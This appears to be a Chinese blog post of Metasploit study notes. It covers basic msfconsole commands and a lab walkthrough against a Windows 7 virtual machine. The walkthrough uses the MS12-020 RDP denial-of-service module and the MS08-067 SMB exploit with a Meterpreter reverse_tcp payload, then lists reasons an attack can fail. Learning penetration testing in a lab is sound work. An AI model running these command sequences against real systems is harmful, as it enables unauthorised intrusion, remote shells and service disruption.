Metasploit学习总结

本文详细介绍Metasploit渗透测试框架的基础使用,包括攻击载荷、shellcode、模块及监听器的概念,通过具体示例展示如何利用Metasploit对Windows系统进行攻击,获取shell并上传文件,同时探讨了攻击失败的可能原因。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Metasploit学习总结

最近需要利用metasploit工具找到”针对win732攻击成功、拿到shell并且能够上传文件“的exploit。实现过程中对Metasploit框架有所了解,总结如下。

METASPLOIT基础入门

Metasploit的基本使用

Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。Metasploit中已经有很多已有的Exploit,他向外部提供使用接口,使用户可以在不了解漏洞原理以及shellcode的情况下对靶机进行目标测试。

0.平台环境

可以在Linux、Windows和Mac OS X系统上运行。本人使用的是Kali,Kali中对Metasploit工具已经有了集成。

本人实现过程中是使用的是Kali和win732。Metasploit安装在Kali中,试图攻击win732系统。其中Kali和win732都是Vmware中的虚拟机,将两个系统的虚拟机网络配置设置为 NAT模式 。

攻击机:Kali

靶机:win732

1.名词解释

Metasploit工具接口:图形用户界面接口:Armitage;命令行接口:msfconsole。

渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。

攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。

Shellcode,是在渗透攻击时作为攻击载荷运行的一组机器指令,通常用汇编语言编写。

模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。

监听器(Listener),是Metasploit中用来等待网络连接的组件。

2.使用步骤

使用metasploit的基本步骤:

  • 运行msfconsole
  • 确定远程主机
  • 找到一个漏洞并使用这个漏洞
  • 配置漏洞选项
  • 入侵远程主机
3.基本命令

help

search

search <search operator>:<search term>
msf-pro > search platform:Windows
msf-pro > search type:exploit
msf-pro > search author:hd
msf-pro > search app:client
msf-pro > search name:ms08-067

show

show exploits
show missing	#To find out what options are required, you can use the show missing command.
show targets	#to view a list of potentially vulnerable targets. 

set

set target 	#command to specify a target for the exploit.
set RHOST 192.168.55.1

其他

exploit or run	#command to run an exploit module.
back 	#command to reset the command prompt and to remove the module that is currently loaded.
reload	#command to refresh the metadata and methods for an exploit.
background(进程隐藏至后台)
sessions(查看已经成功获取的会话,-i 恢复会话)
quit(关闭当前会话)
shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)
irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)
info #查看某个模块的相关信息,比如是否支持某个平台、模块使用条件等
4.使用样例解释
#查找模块中含有ms12-020的模块
search ms12-020
#利用该模块进行攻击
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
#查看需要填写的参数
show options 
#填写需要写的参数
set RHOST 192.168.116.129
执行auxiliary攻击模块
run/exploit
#使用search功能搜索ms08-067
search ms08-067
#使用use命令选定要利用的模块
use exploit/windows/smb/ms08_067_netapi
#设置攻击载荷;从目标主机发起一个反弹连接
set PAYLOAD windows/meterpreter/reverse_tcp
#使用show targets命令让我们识别和匹配目标操作系统的类型
show targets
#选定系统编号(TARTGET),设置靶机IP(RHOST)与本机IP(LHOST)
set TARGET 17
set RHOST 192.168.116.129
set LHOST 192.168.116.128
#使用“show options”命令查看当前参数设置情况
show options 
#参数检查无误后,输入“exploit”对靶机进行攻击。当返回meterpreter提示符表示利用成功。
run/exploit
5.渗透攻击失败可能的原因
  • 网络连接:攻击机和靶机之间网络不相连,要保证两台虚机之间能互相ping通

  • 靶机的一些权限设置:防火墙、远程桌面功能等

  • 版本一致性:exploit以及shellcode都是针对特定系统/软件版本的漏洞和shellcode,要与info、漏洞信息以及shellcode中的源码中实现的版本保持一致

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值